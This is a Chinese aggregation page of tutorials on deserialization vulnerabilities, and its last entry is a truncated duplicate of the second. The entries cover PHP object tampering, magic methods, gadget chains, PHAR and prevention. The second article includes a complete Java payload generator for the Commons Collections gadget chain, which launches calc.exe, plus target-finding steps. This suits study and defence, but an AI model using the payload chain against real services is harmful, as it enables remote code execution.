精华内容
下载资源
问答
  • 反序列化漏洞

    2021-03-09 15:02:50
    五、挖掘反序列化漏洞六、反序列化漏洞的利用1、修改对象属性2、修改数据类型3、使用应用程序功能4、魔术方法5、注入任意对象6、工具链七、预防反序列化漏洞 一、序列化和反序列化 1、序列化 序列化是将复杂的数据...


    一、序列化和反序列化

    1、序列化

    序列化是将复杂的数据结构(例如对象及其字段)转换为字节序列的过程。以便在网络上传输或者保存在本地文件中。
    进行序列化之后,在传递和保存对象的时候,对象的状态以及相关的描述信息依旧是完整的并且可进行传递。
    序列化机制的核心作用就是对象状态的保存与重建。

    2、反序列化

    反序列化是将字节流还原为原始对象的过程,反序列化之后的对象其状态与序列化时的状态完全相同。然后,网站的逻辑可以与此反序列化的对象进行交互,就像与任何其他对象进行交互一样。

    许多编程语言为序列化提供本机支持。对象的确切序列化方式取决于语言。某些语言将对象序列化为二进制格式,例如JAVA;而其他语言则使用不同的字符串格式,序列化之后的字节序列都具有不同程度的可读性,并且,所有原始对象的属性都存储在字节序列中。


    二、PHP序列化

    PHP使用一种人类可读的字符串格式,其中字母代表数据类型,数字代表每个值的长度。例如,考虑User具有以下属性的对象:

    $user->name = "carlos";
    $user->isLoggedIn = true;
    
    序列化后,该对象类似如下:
    O:4:"User":2:{s:4:"name":s:6:"carlos"; s:10:"isLoggedIn":b:1;}
    
    解释如下:
    
    O:4:"User" -具有4个字符的类名称的对象 "User"
    2 -对象具有2个属性
    s:4:"name" -第一个属性的键是4个字符的字符串 "name"
    s:6:"carlos" -第一个属性的值是6个字符的字符串 "carlos"
    s:10:"isLoggedIn" -第二个属性的键是10个字符的字符串 "isLoggedIn"
    b:1 -第二个属性的值是布尔值 true
    PHP序列化的本机方法是serialize()和unserialize()。如果您具有源代码访问权限,则应从unserialize()代码中的任意位置开始并进行进一步调查。
    

    三、Java序列化格式

    Java使用二进制序列化格式。这更难以阅读,但是如果您知道如何识别一些明显的迹象,您仍然可以识别序列化的数据。例如,序列化的Java对象始终以相同的字节开头,这些字节的编码方式为ac ed 十六进制和rO0Base64。

    1、JDK类库中序列化和反序列化API

    java.io.ObjectOutputStream:表示对象输出流;

    它的writeObject(Object obj)方法可以对参数指定的obj对象进行序列化,把得到的字节序列写到一个目标输出流中;

    java.io.ObjectInputStream:表示对象输入流;

    它的readObject()方法源输入流中读取字节序列,再把它们反序列化成为一个对象,并将其返回;

    2、实现序列化的要求

    只有实现了Serializable或Externalizable接口的类的对象才能被序列化,否则抛出异常!

    3、实现Java对象序列化与反序列化的方法

    假定一个User类,它的对象需要序列化,可以有如下三种方法:

    ①若User类仅仅实现了Serializable接口,则可以按照以下方式进行序列化和反序列化

    ObjectOutputStream采用默认的序列化方式,对User对象的非transient的实例变量进行序列化。
    ObjcetInputStream采用默认的反序列化方式,对对User对象的非transient的实例变量进行反序列化。

    ②若User类仅仅实现了Serializable接口,并且还定义了readObject(ObjectInputStream in)和writeObject(ObjectOutputSteam out),则采用以下方式进行序列化与反序列化。

    ObjectOutputStream调用User对象的writeObject(ObjectOutputStream out)的方法进行序列化。
    ObjectInputStream会调用User对象的readObject(ObjectInputStream in)的方法进行反序列化。

    ③若User类实现了Externalnalizable接口,且User类必须实现readExternal(ObjectInput in)和writeExternal(ObjectOutput out)方法,则按照以下方式进行序列化与反序列化。

    ObjectOutputStream调用User对象的writeExternal(ObjectOutput out))的方法进行序列化。
    ObjectInputStream会调用User对象的readExternal(ObjectInput in)的方法进行反序列化。

    4、JDK类库中序列化的步骤

    ①:创建一个对象输出流,它可以包装一个其它类型的目标输出流,如文件输出流:

    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:\\object.out"));
    

    ②:通过对象输出流的writeObject()方法写对象:

    oos.writeObject(new User("Jenny", "15"));
    

    5、JDK类库中反序列化的步骤

    ①:创建一个对象输入流,它可以包装一个其它类型输入流,如文件输入流:

    ObjectInputStream ois= new ObjectInputStream(new FileInputStream("object.out"));
    

    ②:通过对象输出流的readObject()方法读取对象:

    User user = (User) ois.readObject();
    

    为了正确读取数据,完成反序列化,必须保证向对象输出流写对象的顺序与从对象输入流中读对象的顺序一致。

    6、序列化和反序列化的示例

    为了更好地理解Java序列化与反序列化,举一个简单的示例如下:

    public class TestDemo {
    
        public static void main(String[] args) throws IOException, ClassNotFoundException {
    	    //序列化
            FileOutputStream fos = new FileOutputStream("object.out");
            ObjectOutputStream oos = new ObjectOutputStream(fos);
            User user1 = new User("Jenny", "15");
            oos.writeObject(user1);
            oos.flush();
            oos.close();
    		//反序列化
            FileInputStream fis = new FileInputStream("object.out");
            ObjectInputStream ois = new ObjectInputStream(fis);
            User user2 = (User) ois.readObject();
            System.out.println(user2.getUserName()+ " " + 
    	        user2.getPassword() + " " + user2.getSex());
            //反序列化的输出结果为:Jenny 15
        }
    }
    
    public class User implements Serializable {
        private String userName;
        private String password;
        private String sex;
    }
    

    四、什么是反序列化漏洞?

    反序列化漏洞是指网站对用户可控制的数据进行反序列化时,攻击者能够操纵序列化的对象,将有害数据传递到应用程序代码中。甚至有可能用完全不同类的对象替换序列化的对象。

    意外类的对象可能会导致异常。但是,到此时,攻击者对反序列化漏洞的利用可能已经完成。许多基于反序列化的攻击是在反序列化完成之前完成的。这意味着即使网站本身的功能未与恶意对象直接交互,反序列化过程本身也可以发起攻击。


    五、挖掘反序列化漏洞

    无论是白盒测试还是黑盒测试,我们都需要对序列化内容和反序列化内容进行查看。
    不同的开发语言,序列化和反序列化都有其特点。


    六、反序列化漏洞的利用

    前面我们提到,反序列化是把字节序列转换为对象的这一过程,这个字节序列包含了对象的属性等全部内容。所以我们可以通过反序列化的过程来将我们的恶意数据传递到服务器上。

    广义上讲,在处理序列化对象时可以采用两种方法。您可以直接以其字节流形式编辑该对象,也可以用相应的语言编写一个简短的脚本来自己创建和序列化新对象。使用二进制序列化格式时,后一种方法通常更容易。

    1、修改对象属性

    当篡改数据时,只要攻击者保留有效的序列化对象,反序列化过程将创建具有修改后的属性值的服务器端对象。
    例子:考虑一个使用序列化User对象的网站,该网站将有关用户会话的数据存储在cookie中。如果攻击者在HTTP请求中发现了此序列化对象,则他们可能会对其进行解码以找到以下字节流:

    O:4:"User":2:{s:8:"username";s:6:"carlos";s:7:"isAdmin";b:0;}
    

    该isAdmin属性是显而易见的兴趣点。攻击者可以简单地将属性的布尔值更改为1(true),重新编码对象,然后使用此修改后的值覆盖其当前cookie。此时,如果网站使用此Cookie来检查当前用户是否有权访问某些管理功能:

    $user = unserialize($_COOKIE);
    if ($user->isAdmin === true) {
    // allow access to admin interface
    }
    

    此易受攻击的代码将User基于cookie中的数据(包括攻击者修改的isAdmin属性)实例化对象。绝对不会检查序列化对象的真实性。然后将这些数据传递到条件语句中,在这种情况下,将允许轻松地进行特权升级。

    2、修改数据类型

    基于PHP的逻辑由于==在比较不同数据类型时,编译器会先将比较符号两端的数据转化为同一类型,这时,我们可以利用这一特性。
    例如,在整数和字符串之间进行松散比较,PHP将尝试将字符串转换为整数,即结果5 == "5"为true

    异常地,这也适用于以数字开头的任何字母数字字符串。在这种情况下,PHP将根据初始数字有效地将整个字符串转换为整数值。字符串的其余部分将被完全忽略。因此,5 == "5 of something" 在实践中被视为5 == 5

    当将字符串与整数进行比较时,因为没有数字,所以字符串中的数字为0。PHP将整个字符串视为整数00 == "Example string" // true

    在这种比较运算符与反序列化对象中用户可控制的数据一起使用时,可能会导致危险的逻辑缺陷。

    $login = unserialize($_COOKIE)
    if ($login['password'] == $password) {
    // log in successfully
    }
    

    假设攻击者修改了password属性,使其包含整数0而不是预期的字符串。只要存储的密码不是以数字开头,该条件将始终返回true,从而绕过身份验证。如果代码直接从请求中获取了密码,则密码0将被转换为字符串,条件的计算结果为false。

    以任何序列化的对象格式修改数据类型时,同事也需要更新序列化数据中的任何类型标签和长度指示符,否则,序列化的对象将被破坏,并且不会被反序列化。

    3、使用应用程序功能

    除了简单地检查属性值之外,网站的功能还可能会对反序列化对象中的数据执行危险的操作。在这种情况下,可以使用反序列化漏洞来传递意外数据,并利用相关功能造成损害。

    例如,作为网站“删除用户”功能的一部分,通过访问$user->image_location属性中的文件路径来删除用户的个人资料图片。如果$user是从序列化对象创建的,则攻击者可以通过将带有image_location集合的已修改对象传递到任意文件路径来利用此漏洞。可以删除自己的用户帐户,也可以删除任意文件。

    4、魔术方法

    这种利用方法依靠攻击者通过用户可访问的功能手动调用危险方法。当利用漏洞自动将数据传递到危险方法进行利用时,可以通过使用“魔术方法”来实现。
    魔术方法是是在发生特定事件或场景时自动调用它们,而不必显式调用的方法的特殊子集,。魔术方法是各种语言的面向对象编程的共同特征。有时通过在方法名称前添加前缀或双下划线来指定它们。

    开发人员可以将魔术方法添加到类中,以便预先确定在发生相应的事件或场景时应执行什么代码。调用魔术方法的确切时间和原因因方法而异。
    ①PHP中最常见的示例之一是__construct(),它在实例化该类的对象时调用,类似于Python的__init__。通常,此类构造函数魔术方法包含用于初始化实例属性的代码。但是,开发人员可以定制魔术方法以执行他们想要的任何代码。

    魔术方法本身并没有任何问题,但是,当它们执行的处理代码,数据攻击者可控制(例如,来自反序列化对象的数据)时,它们会变得危险。当满足相应条件时,攻击者可以利用它来自动对反序列化的数据调用方法。

    某些语言具有魔术方法,这些方法会在反序列化过程中自动调用。例如,PHP的unserialize()方法查找并调用对象的__wakeup()魔术方法。

    ②在Java反序列化中,readObject()方法同样适用,其本质上类似于“重新初始化”序列化对象的构造函数。ObjectInputStream.readObject()方法用于从初始字节流中读取数据。但是,可序列化的类也可以声明自己的readObject()方法,如下所示:

    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {...};
    

    这使类可以更紧密地控制其自身字段的反序列化。至关重要的是,以readObject()这种方式声明的方法充当了反序列化期间调用的魔术方法。

    应该密切注意包含这些魔术方法类型的所有类。它们允许在完全反序列化对象之前将数据从序列化的对象传递到网站的代码中。这个是我们利用这个漏洞的起点。

    5、注入任意对象

    有时候可以通过编辑网站提供的对象来利用反序列化漏洞。

    在面向对象的编程中,对象可用的方法由其类确定。因此,如果攻击者可以操纵将哪类对象作为序列化数据传递,则他们可以影响在反序列化之后(甚至在反序列化期间)执行什么代码。

    反序列化方法通常不会检查正在反序列化的内容。这意味着可以向网站传入任何可序列化类的对象,并且该对象将被反序列化。这使攻击者可以创建任意类的实例。攻击者构造的对象类型可能会导致应用程序逻辑中的异常,但是再出现异常的同时,恶意对象将已经实例化。

    如果可以访问源代码,那我们可以查看所有可用的类。构造一个简单的漏洞利用程序,寻找包含反序列化魔术方法的类,然后检查它们是否可以对可控制的数据执行危险操作。然后,可以传入此类的序列化对象,以使用其魔术方法进行利用。

    6、工具链

    包含这些反序列化魔术方法的类也可以用于发起更复杂的攻击,涉及一系列的方法调用,称为“工具链”。
    “工具链”是应用程序中存在的代码片段,可以帮助攻击者实现特定目标。单个工具链可能不会直接对用户输入造成任何有害影响。但是,攻击者的目标可能只是调用一种方法,该方法会将其输入传递给另一个工具链。通过以这种方式将多个工具链链接在一起,攻击者可以潜在地将其输入传递到危险的“接收器工具链”中,从而在其中造成最大的破坏。

    与某些其他类型的利用不同,工具链不是攻击者构建的链式方法的有效负载。网站上已经存在所有代码。攻击者唯一控制的是传递到工具链中的数据。通常使用反序列化期间调用的魔术方法(有时称为“启动工具链”)完成此操作。

    ①使用预建的工具链
    手动识别工具链是一个相当艰巨的过程,并且如果没有源代码访问,几乎是不可能的。但是可以首先尝试一些使用预建工具链的选项。

    有几种可用的工具可以帮助我们轻松地构建工具链。这些工具提供了一系列已在其他网站上利用的预先发现的工具链。在目标站点上发现了反序列化漏洞之后,即使无权访问源代码,也可以使用这些工具来尝试利用。例如,如果可以在一个网站上利用依赖Java的Apache Commons Collections库的工具链,那么使用同一链也可以利用实现该库的任何其他网站。
    ②ysoserial
    Java反序列化攻击的一种此类工具是“ ysoserial”。只需指定认为目标应用程序正在使用的库,然后提供要尝试执行的命令即可。该工具会根据给定库知道的工具链来创建适当的序列化对象。
    ③PHPGGC
    大多数经常遭受反序列化漏洞困扰的语言都具有其验证工具。例如,对于基于PHP的站点,可以使用“ PHP通用小工具链”(PHPGGC)。
    造成该漏洞的原因不是网站代码或其任何库中存在工具链。漏洞是用户可控制数据的反序列化过程或数据,工具链只是在注入数据后操纵该数据流的一种方式。这也适用于依赖于不信任数据的反序列化的各种内存损坏漏洞。因此,即使网站设法以某种方式设法插入每个可能的工具链,它们仍可能会受到攻击。

    ④创建自己的工具链
    查看是否有任何已知漏洞可以用来攻击目标网站。如果没有自动生成序列化对象的专用工具,也可以找到流行框架的文档资料创建工具链,并手动进行调整。

    要成功构建自己的小工具链,需要访问源代码。第一步是研究源代码,识别包含反序列化期间调用的魔术方法的类。评估此魔术方法执行的代码,以查看它是否对用户可控制的属性有直接危险。

    如果不可单独使用魔术方法,则可以将其用作工具链的“启动小工具”。研究启动小工具调用的任何方法。这些操作是否会对控制的数据造成危险?如果不是,查看它们随后调用的每个方法,依此类推。

    重复此过程,跟踪可以访问的值,直到达到死胡同或确定可控数据传递到的危险接收器工具为止。

    一旦确定了如何在应用程序代码中成功构建工具链,下一步就是创建一个包含有效负载的序列化对象。这只是研究源代码中的类声明并创建一个有效的序列化对象的案例,该对象具有利用漏洞所需的适当值。

    ⑤PHAR反序列化(具体可查看https://paper.seebug.org/680/)
    在PHP中,没有使用unserialize()方法,有时也可以利用反序列化。
    大多数PHP文件操作允许使用各种URL协议去访问文件路径:如data://,zlib://或php://。
    例如常见的:

    include('php://filter/rea,d=convert.base64-encode/resource=index.php');
    include('data://text/plain;base64,xxxxxxxxxxxx');
    phar://也是流包装的一种,它提供了用于访问PHP Archive(.phar)文件的流接口
    

    它提供了用于访问PHP Archive(.phar)文件的流接口,在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。

    ⑥利用内存损坏利用反序列化
    如果其他所有方法均失败,则通常存在公开记录的内存损坏漏洞,可以通过反序列化来利用该漏洞,通常会导致远程执行代码。


    七、预防反序列化漏洞

    1、除非绝对必要,否则应避免对用户输入进行反序列化。在许多情况下,反序列化带来的危害可能大于带来的利益。

    2、如果确实需要反序列化来自不受信任来源的数据,需确保数据未被篡改。例如,实施数字签名来检查数据的完整性。并且,在开始反序列化过程之前,也需要对数据进行检查。

    3、应避免完全使用通用的反序列化功能。这些方法的序列化数据包含原始对象的所有属性,包括可能包含敏感信息的私有字段,键值对等。可以创建自己的特定于类的序列化方法,以便可以控制公开哪些字段。


    参考:
    https://portswigger.net/web-security/deserialization/exploiting
    https://paper.seebug.org/680/

    展开全文
  • Java反序列化漏洞检查工具V1.2_Weblogic XML反序列化漏洞检查工具CVE-2017-10271
  • 目录反序列化漏洞序列化和反序列化JAVA WEB中的序列化和反序列化对象序列化和反序列范例JAVA中执行系统命令重写readObject()方法Apache Commons Collections反序列化漏洞payloadJAVA Web反序列化漏洞的挖掘和利用...

    目录

    反序列化漏洞

    序列化和反序列化

        JAVA WEB中的序列化和反序列化

            对象序列化和反序列范例

        JAVA中执行系统命令

            重写readObject()方法

        Apache Commons Collections

    反序列化漏洞payload

    JAVA Web反序列化漏洞的挖掘和利用 

    512806b84fff4776bc59317ac6308373.png

        由于本人并非JAVA程序员,所以对JAVA方面的知识不是很懂,仅仅是能看懂而已。本文参照几位大佬的博客进行归纳总结,给大家阐述了JAVA反序列化漏洞的原理以及Payload的构造,文章末尾会放出参考链接。

    eb2eb67b535bc1200ccc4398ecfc235d.png

    Part 1

    反序列化漏洞

    JAVA反序列化漏洞到底是如何产生的?

    1、由于很多站点或者RMI仓库等接口处存在java的反序列化功能,于是攻击者可以通过构造特定的恶意对象序列化后的流,让目标反序列化,从而达到自己的恶意预期行为,包括命令执行,甚至 getshell 等等。

    2、Apache Commons Collections是开源小组Apache研发的一个 Collections 收集器框架。这个框架中有一个InvokerTransformer.java接口,实现该接口的类可以通过调用java的反射机制来调用任意函数,于是我们可以通过调用Runtime.getRuntime.exec() 函数来执行系统命令。Apache commons collections包的广泛使用,也导致了java反序列化漏洞的大面积流行。

    所以最终结果就是如果Java应用对用户的输入做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化过程执行我们自定义的命令,从而实现远程任意代码执行。

    在说反序列化漏洞原理之前我们先来说说JAVA对象的序列化和反序列化

    Part 2

    序列化和反序列化

    序列化 (Serialization):将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。

    反序列化:从存储区中读取该数据,并将其还原为对象的过程,称为反序列化。

    简单的说,序列化和反序列化就是:

    • 把对象转换为字节序列的过程称为对象的序列化

    • 把字节序列恢复为对象的过程称为对象的反序列化

    对象序列化的用途:

    • 把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中

    • 在网络上传送对象的字节序列

    当两个进程在进行远程通信时,彼此可以发送各种类型的数据。无论是何种类型的数据,最终都会以二进制的形式在网络上传送。发送方需要把这个Java对象序列化;接收方收到数据后把数据反序列化为Java对象。

    通常,对象实例的所有字段都会被序列化,这意味着数据会被表示为实例的序列化数据。这样,能够解释该格式的代码就能够确定这些数据的值,而不依赖于该成员的可访问性。类似地,反序列化从序列化的表示形式中提取数据,并直接设置对象状态。

    对于任何可能包含重要的安全性数据的对象,如果可能,应该使该对象不可序列化。如果它必须为可序列化的,请尝试生成特定字段来保存重要数据。如果无法实现这一点,则应注意该数据会被公开给任何拥有序列化权限的代码,并确保不让任何恶意代码获得该权限。

    在很多应用中,需要对某些对象进行序列化,让它们离开内存空间,入住物理硬盘,以便长期保存。比如最常见的是Web服务器中的Session对象,当有 10万用户并发访问,就有可能出现10万个Session对象,内存可能吃不消,于是Web容器就会把一些seesion先序列化到硬盘中,等要用了,再把保存在硬盘中的对象还原到内存中。

    JAVA WEB中的序列化和反序列化

    • java.io.ObjectOutputStream 代表对象输出流,它的 writeObject() 方法可对参数指定的对象进行序列化,把得到的字节序列写到一个目标输出流中

    • java.io.ObjectInputStream 代表对象输入流,它的 readObject() 方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回

    只有实现了 Serializable 和 Externalizable 接口的类的对象才能被序列化和反序列化。Externalizable 接口继承自 Serializable 接口,实现 Externalizable 接口的类完全由自身来控制反序列化的行为,而实现 Serializable 接口的类既可以采用默认的反序列化方式,也可以自定义反序列化方式。

    对象序列化包括如下步骤:

    1. 创建一个对象输出流,它可以包装一个其他类型的目标输出流,如文件输出流

    2. 通过对象输出流的 writeObject() 方法将对象进行序列化

    对象反序列化的步骤如下:

    1. 创建一个对象输入流,它可以包装一个其他类型的源输入流,如文件输入流

    2. 通过对象输入流的 readObject() 方法将字节序列反序列化为对象

    对象序列化和反序列范例

    定义一个User类,实现Serializable接口

    import java.io.IOException;import java.io.Serializable;public class User implements Serializable{  private String name;  public String getName(){    return name;  }  public void setName(String name){    this.name=name;  }}

    定义主类,对User对象进行序列化和反序列化

    import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;public class Test {  public static void main(String[] args) throws IOException {    Test a=new Test();    try {      a.run();    //序列化      a.run2();   //反序列化    } catch (IOException | ClassNotFoundException e) {      e.printStackTrace();    }  }  //将该对象进行序列化,存储在本地的test.txt文件中  public static void run() throws IOException{    FileOutputStream out=new FileOutputStream("test.txt");   //实例化一个文件输出流    ObjectOutputStream obj_out=new ObjectOutputStream(out);  //实例化一个对象输出流    User u=new User();    u.setName("谢公子");    obj_out.writeObject(u);   //利用writeObject()方法将类序列化存储在本地    obj_out.close();    System.out.println("User对象序列化成功!");    System.out.println("***********************");  }  //将存储在本地test.txt的序列化数据进行反序列化  public void run2() throws IOException,ClassNotFoundException{    FileInputStream in = new FileInputStream("test.txt");   //实例化一个文件输入流    ObjectInputStream ins = new ObjectInputStream(in);      //实例化一个对象输入流    User u=(User)ins.readObject();    System.out.println("User对象反序列化成功!");    System.out.println(u.getName());                ins.close();             }}

    运行结果

    c189fbdf5d868df9a4880742ad1ea081.png

    同时,会在当前文件夹生成一个 test.txt 用来存储序列化的对象,内容如下:

    e2fe5bfb53217a9a4f7f39ac8b955148.png

    JAVA中执行系统命令

    我们先来看看JAVA中执行系统命令的方法,如下代码可以执行系统命令:whoami

    import java.io.BufferedReader;import java.io.IOException;import java.io.InputStreamReader;import org.omg.CORBA.portable.InputStream; public class main {  public static void main(String[] args) throws IOException, InterruptedException {    Process p=Runtime.getRuntime().exec("whoami");    java.io.InputStream is=p.getInputStream();    BufferedReader reader = new BufferedReader(new InputStreamReader(is));    p.waitFor();    if (p.exitValue() != 0) {        //说明命令执行失败,可以进入到错误处理步骤中    }    String s = null;    while ((s = reader.readLine()) != null) {        System.out.println(s);    }  }}

    运行结果 

    03141d6c3a9020d0899f807d48fad6d5.png

    重写readObject()方法

    我们上面说到了可以通过重写 readObject() 方法来自定义类的反序列化方式。所以,我们将User类的 readObject() 进行重写

    import java.io.BufferedReader;import java.io.Externalizable;import java.io.IOException;import java.io.InputStreamReader;import java.io.ObjectInput;import java.io.ObjectOutput;import java.io.Serializable;public class User implements Serializable{  private String name;  public String getName(){    return name;  }  public void setName(String name){    this.name=name;  }  private void readObject(java.io.ObjectInputStream in)throws ClassNotFoundException,IOException, InterruptedException{    //这里使用默认的ReadObject方法    in.defaultReadObject();    //重写,执行系统命令:whoami    Process p=Runtime.getRuntime().exec("whoami");    java.io.InputStream is=p.getInputStream();    BufferedReader reader = new BufferedReader(new InputStreamReader(is));    p.waitFor();    if (p.exitValue() != 0) {        //说明命令执行失败        //可以进入到错误处理步骤中    }    String s = null;    while ((s = reader.readLine()) != null) {        System.out.println(s);    }  }}

    主类中的代码不变,我们再来执行序列化和反序列化过程。可以看到,除了执行了对象的序列化和反序列化之外,还执行了我们自定义的系统命令的代码。

    69683cb51e9abd3a6ddf9a05ca9853a0.png

    Apache Commons Collections

    Apache Commons Collections 是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发。

    Commons Collections 实现了一个TransformedMap类,该类是对Java标准数据结构Map接口的一个扩展。该类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由Transformer类定义,Transformer在TransformedMap实例化时作为参数传入。

    我们可以通过TransformedMap.decorate()方法,获得一个TransformedMap的实例。如下代码是TransformedMap.decorate()方法

    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {    return new TransformedMap(map, keyTransformer, valueTransformer);}

    Transformer是一个接口,其中定义的transform()函数用来将一个对象转换成另一个对象。如下所示 

    public interface Transformer {    public Object transform(Object input);}

    当TransformedMap中的任意项的Key或者Value被修改,相应的Transformer的transform()方法就会被调用。除此以外,多个Transformer还能串起来,形成ChainedTransformer。 

    Apache Commons Collections中已经实现了一些常见的 Transformer,其中的 InvokerTransformer 接口实现了反射链,可以通过Java的反射机制来执行任意命令。于是我们可以通过InvokerTransformer的反射链获得Runtime类来执行系统命令 

    传送门——> InvokerTransformer反射链

    在上面的 InvokerTransformer反射链 这篇文章中我已经介绍了如何通过修改Value值来触发执行反射链来执行任意命令。

    但是目前的构造还需要依赖于修改Map中的Value值去触发调用反射链,我们需要想办法通过readObject()直接触发。

    如果某个可序列化的类重写了readObject()方法,并且在readObject()中对Map类型的变量进行了键值修改操作,并且这个Map参数是可控的,就可以实现我们的攻击目标了。

    于是,我们找到了这个类:AnnotationInvocationHandler ,这个类有一个成员变量 memberValues Map类型,并且在重写的 readObject() 方法中有 memberValue.setValue() 修改Value的操作。简直是完美!

    于是我们可以实例化一个AnnotationInvocationHandler类,将其成员变量memberValues赋值为精心构造的恶意TransformedMap对象。然后将其序列化,提交给未做安全检查的Java应用。Java应用在进行反序列化操作时,执行了readObject()函数,修改了Map的Value,则会触发TransformedMap的变换函数transform(),再通过反射链调用了Runtime.getRuntime.exec("XXX") 命令,最终就可以执行我们的任意代码了,一切是那么的天衣无缝!

    Part 3

    反序列化漏洞payload

    • 反序列化时会执行对象的readObject()方法

    • Runtime.getRuntime.exec(“xx”)可以执行系统命令

    • InvokerTransformer的transform()方法可以通过反射链调用Runtime.getRuntime.exec(“xx”)函数来执行系统命令

    • TransformedMap类的decorate方法用来实例化一个TransformedMap对象,即public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) ,第二个和第三个参数传入一个Transformer,当key值和Value值改变时,会调用Transformer的transformer()方法。于是我们可以将第三个参数传入 InvokerTransformer

    Payload构造思路:我们构造恶意的类:AnnotationInvocationHandler,将该类的成员变量memberValues赋值为我们精心构造的TransformedMap对象,并将AnnotationInvocationHandler类进行序列化,然后交给JAVA WEB应用进行反序列化。再进行反序列化时,会执行readObject()方法,该方法会对成员变量TransformedMap的Value值进行修改,该修改触发了TransformedMap实例化时传入的参数InvokerTransformer的transform()方法,InvokerTransformer.transform()方法通过反射链调用Runtime.getRuntime.exec(“xx”)函数来执行系统命令

    5d10a5f341c2b24b656fd71566650261.png

    如下代码,我们通过构造恶意的类AnnotationInvocationHandler并将其序列化保存在 payload.bin文件中,只要将它给存在反序列化漏洞的JAVA WEB 应用进行反序列化就能执行我们的命令了。

    import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;import java.util.Map.Entry; import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap; public class main2 {        public static void main(String[] args) throws Exception{                Transformer[] transformers = new Transformer[] {                                new ConstantTransformer(Runtime.class),                                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),                                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),                                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})};                 Transformer transformedChain = new ChainedTransformer(transformers);  //实例化一个反射链                 Map innerMap = new HashMap();   //实例化一个Map对象                innerMap.put("value", "value");                                Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain); //将Map对象和反射链作为参数传入                 Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  //得到 AnnotationInvocationHandler类的字节码文件                Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);                ctor.setAccessible(true);                Object instance = ctor.newInstance(Target.class, outerMap);  //得到我们构造好的 AnnotationInvocationHandler类实例                 FileOutputStream f = new FileOutputStream("payload.bin");                ObjectOutputStream out = new ObjectOutputStream(f);  //创建一个对象输出流                out.writeObject(instance);  //将我们构造的 AnnotationInvocationHandler类进行序列化                out.flush();                out.close();        }}

    Part 4

    JAVA Web反序列化漏洞的挖掘和利用

    1:漏洞触发场景

    在java编写的web应用与web服务器间通常会发送大量的序列化对象例如以下场景:  

    • HTTP请求中的参数,cookies以及Parameters。  

    • RMI协议,被广泛使用的RMI协议完全基于序列化   

    • JMX 同样用于处理序列化对象   

    • 自定义协议 用来接收与发送原始的java对象

    2:漏洞挖掘

    (1)确定反序列化输入点  

    首先应找出readObject方法调用,在找到之后进行下一步的注入操作。一般可以通过以下方法进行查找:

        1)源码审计:寻找可以利用的“靶点”,即确定调用反序列化函数readObject的调用地点。  

        2)对该应用进行网络行为抓包,寻找序列化数据,java序列化的数据一般会以标记(ac ed 00 05)开头,base64编码后的特征为rO0AB。  

    (2)再考察应用的Class Path中是否包含Apache Commons Collections库   

    (3)生成反序列化的payload   

    (4)提交我们的payload数据

    参考文章:Java反序列化漏洞从无到有

                      Lib之过?Java反序列化漏洞通用利用分析

                     Java反序列化漏洞分析

                     Commons Collections Java反序列化漏洞深入分析

    展开全文
  • 目录反序列化漏洞序列化和反序列化JAVA WEB中的序列化和反序列化对象序列化和反序列范例JAVA中执行系统命令重写readObject()方法Apache Commons Collections反序列化漏洞payloadJAVA Web反序列化漏洞的挖掘和利用...

    目录

    反序列化漏洞

    序列化和反序列化

        JAVA WEB中的序列化和反序列化

            对象序列化和反序列范例

        JAVA中执行系统命令

            重写readObject()方法

        Apache Commons Collections

    反序列化漏洞payload

    JAVA Web反序列化漏洞的挖掘和利用 

    584ff8e7208d7d06c22534eb0b343bb7.png

        由于本人并非JAVA程序员,所以对JAVA方面的知识不是很懂,仅仅是能看懂而已。本文参照几位大佬的博客进行归纳总结,给大家阐述了JAVA反序列化漏洞的原理以及Payload的构造,文章末尾会放出参考链接。

    eb56723d6013d994a2b47401b312d119.png

    Part 1

    反序列化漏洞

    JAVA反序列化漏洞到底是如何产生的?

    1、由于很多站点或者RMI仓库等接口处存在java的反序列化功能,于是攻击者可以通过构造特定的恶意对象序列化后的流,让目标反序列化,从而达到自己的恶意预期行为,包括命令执行,甚至 getshell 等等。

    2、Apache Commons Collections是开源小组Apache研发的一个 Collections 收集器框架。这个框架中有一个InvokerTransformer.java接口,实现该接口的类可以通过调用java的反射机制来调用任意函数,于是我们可以通过调用Runtime.getRuntime.exec() 函数来执行系统命令。Apache commons collections包的广泛使用,也导致了java反序列化漏洞的大面积流行。

    所以最终结果就是如果Java应用对用户的输入做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化过程执行我们自定义的命令,从而实现远程任意代码执行。

    在说反序列化漏洞原理之前我们先来说说JAVA对象的序列化和反序列化

    Part 2

    序列化和反序列化

    序列化 (Serialization):将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。

    反序列化:从存储区中读取该数据,并将其还原为对象的过程,称为反序列化。

